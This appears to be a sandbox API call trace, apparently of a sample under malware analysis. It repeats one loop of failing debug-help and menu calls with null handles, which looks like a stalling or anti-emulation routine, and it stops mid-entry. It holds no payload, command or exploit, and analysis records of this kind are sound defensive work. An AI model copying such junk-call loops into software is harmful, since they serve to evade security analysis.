[0185.211] SymCleanup (hProcess=0x0) returned 0 [0185.211] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.211] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.211] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.211] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.211] GetLastError () returned 0x579 [0185.211] SetLastError (dwErrCode=0x579) [0185.211] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.211] SymCleanup (hProcess=0x0) returned 0 [0185.211] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.211] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.211] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.211] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.211] GetLastError () returned 0x579 [0185.211] SetLastError (dwErrCode=0x579) [0185.211] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.211] SymCleanup (hProcess=0x0) returned 0 [0185.211] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.211] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.211] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.212] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1150, param_4=801, param_5=0x0, param_6=0x0) returned 0 [0185.212] GetLastError () returned 0x579 [0185.212] SetLastError (dwErrCode=0x579) [0185.212] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.212] SymCleanup (hProcess=0x0) returned 0 [0185.212] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.212] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.212] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.212] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.212] GetLastError () returned 0x579 [0185.212] SetLastError (dwErrCode=0x579) [0185.212] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.212] SymCleanup (hProcess=0x0) returned 0 [0185.212] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.212] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.212] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.212] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.212] GetLastError () returned 0x579 [0185.212] SetLastError (dwErrCode=0x579) [0185.212] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.212] SymCleanup (hProcess=0x0) returned 0 [0185.212] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.212] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.212] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.213] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.213] GetLastError () returned 0x579 [0185.213] SetLastError (dwErrCode=0x579) [0185.213] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.213] SymCleanup (hProcess=0x0) returned 0 [0185.213] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.213] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.213] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.213] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.213] GetLastError () returned 0x579 [0185.213] SetLastError (dwErrCode=0x579) [0185.213] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.213] SymCleanup (hProcess=0x0) returned 0 [0185.213] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.213] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.213] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.213] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=357, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.213] GetLastError () returned 0x579 [0185.213] SetLastError (dwErrCode=0x579) [0185.213] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.213] SymCleanup (hProcess=0x0) returned 0 [0185.213] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.213] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.213] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.213] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.214] GetLastError () returned 0x579 [0185.214] SetLastError (dwErrCode=0x579) [0185.214] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.214] SymCleanup (hProcess=0x0) returned 0 [0185.214] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.214] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.214] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.214] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.214] GetLastError () returned 0x579 [0185.214] SetLastError (dwErrCode=0x579) [0185.214] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.214] SymCleanup (hProcess=0x0) returned 0 [0185.214] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.214] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.214] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.214] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.214] GetLastError () returned 0x579 [0185.214] SetLastError (dwErrCode=0x579) [0185.214] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.214] SymCleanup (hProcess=0x0) returned 0 [0185.214] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.214] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.214] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.214] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.215] GetLastError () returned 0x579 [0185.215] SetLastError (dwErrCode=0x579) [0185.215] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.215] SymCleanup (hProcess=0x0) returned 0 [0185.215] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.215] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.215] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.215] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=733, param_4=146, param_5=0x0, param_6=0x0) returned 0 [0185.215] GetLastError () returned 0x579 [0185.215] SetLastError (dwErrCode=0x579) [0185.215] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.215] SymCleanup (hProcess=0x0) returned 0 [0185.215] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.215] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.215] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.215] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.215] GetLastError () returned 0x579 [0185.215] SetLastError (dwErrCode=0x579) [0185.215] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.215] SymCleanup (hProcess=0x0) returned 0 [0185.215] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.215] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.215] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.215] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.216] GetLastError () returned 0x579 [0185.216] SetLastError (dwErrCode=0x579) [0185.216] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.216] SymCleanup (hProcess=0x0) returned 0 [0185.216] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.216] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.216] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.216] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.216] GetLastError () returned 0x579 [0185.216] SetLastError (dwErrCode=0x579) [0185.216] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.216] SymCleanup (hProcess=0x0) returned 0 [0185.216] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.216] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.216] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.216] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.216] GetLastError () returned 0x579 [0185.216] SetLastError (dwErrCode=0x579) [0185.216] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.216] SymCleanup (hProcess=0x0) returned 0 [0185.216] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.216] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.216] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.216] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=979, param_4=100, param_5=0x0, param_6=0x0) returned 0 [0185.217] GetLastError () returned 0x579 [0185.217] SetLastError (dwErrCode=0x579) [0185.217] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.217] SymCleanup (hProcess=0x0) returned 0 [0185.217] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.217] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.217] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.217] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.217] GetLastError () returned 0x579 [0185.217] SetLastError (dwErrCode=0x579) [0185.217] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.217] SymCleanup (hProcess=0x0) returned 0 [0185.217] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.217] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.217] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.217] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.217] GetLastError () returned 0x579 [0185.217] SetLastError (dwErrCode=0x579) [0185.217] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.217] SymCleanup (hProcess=0x0) returned 0 [0185.217] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.217] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.217] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.217] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.217] GetLastError () returned 0x579 [0185.218] SetLastError (dwErrCode=0x579) [0185.218] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.218] SymCleanup (hProcess=0x0) returned 0 [0185.218] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.218] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.218] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.218] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.218] GetLastError () returned 0x579 [0185.218] SetLastError (dwErrCode=0x579) [0185.218] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.218] SymCleanup (hProcess=0x0) returned 0 [0185.218] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.218] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.218] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.218] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=899, param_4=884, param_5=0x0, param_6=0x0) returned 0 [0185.218] GetLastError () returned 0x579 [0185.218] SetLastError (dwErrCode=0x579) [0185.218] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.218] SymCleanup (hProcess=0x0) returned 0 [0185.218] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.218] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.218] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.218] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.218] GetLastError () returned 0x579 [0185.218] SetLastError (dwErrCode=0x579) [0185.219] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.219] SymCleanup (hProcess=0x0) returned 0 [0185.219] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.219] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.219] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.219] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.219] GetLastError () returned 0x579 [0185.219] SetLastError (dwErrCode=0x579) [0185.219] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.219] SymCleanup (hProcess=0x0) returned 0 [0185.219] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.219] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.219] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.219] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.219] GetLastError () returned 0x579 [0185.219] SetLastError (dwErrCode=0x579) [0185.219] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.219] SymCleanup (hProcess=0x0) returned 0 [0185.219] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.219] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.219] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.219] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.219] GetLastError () returned 0x579 [0185.219] SetLastError (dwErrCode=0x579) [0185.219] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.220] SymCleanup (hProcess=0x0) returned 0 [0185.220] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.220] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.220] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.220] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=110, param_4=367, param_5=0x0, param_6=0x0) returned 0 [0185.220] GetLastError () returned 0x579 [0185.220] SetLastError (dwErrCode=0x579) [0185.220] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.220] SymCleanup (hProcess=0x0) returned 0 [0185.220] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.220] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.220] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.220] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.220] GetLastError () returned 0x579 [0185.220] SetLastError (dwErrCode=0x579) [0185.220] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.220] SymCleanup (hProcess=0x0) returned 0 [0185.220] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.220] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.220] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.220] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.220] GetLastError () returned 0x579 [0185.220] SetLastError (dwErrCode=0x579) [0185.220] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.220] SymCleanup (hProcess=0x0) returned 0 [0185.221] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.221] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.221] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.221] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.221] GetLastError () returned 0x579 [0185.221] SetLastError (dwErrCode=0x579) [0185.221] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.221] SymCleanup (hProcess=0x0) returned 0 [0185.221] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.221] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.221] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.221] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.221] GetLastError () returned 0x579 [0185.221] SetLastError (dwErrCode=0x579) [0185.221] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.221] SymCleanup (hProcess=0x0) returned 0 [0185.221] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.221] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.221] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.221] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=280, param_4=831, param_5=0x0, param_6=0x0) returned 0 [0185.221] GetLastError () returned 0x579 [0185.221] SetLastError (dwErrCode=0x579) [0185.221] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.221] SymCleanup (hProcess=0x0) returned 0 [0185.221] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.221] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.222] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.222] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.222] GetLastError () returned 0x579 [0185.222] SetLastError (dwErrCode=0x579) [0185.222] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.222] SymCleanup (hProcess=0x0) returned 0 [0185.222] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.222] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.222] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.222] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.222] GetLastError () returned 0x579 [0185.222] SetLastError (dwErrCode=0x579) [0185.222] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.222] SymCleanup (hProcess=0x0) returned 0 [0185.222] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.222] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.222] GetCursorPos (in: 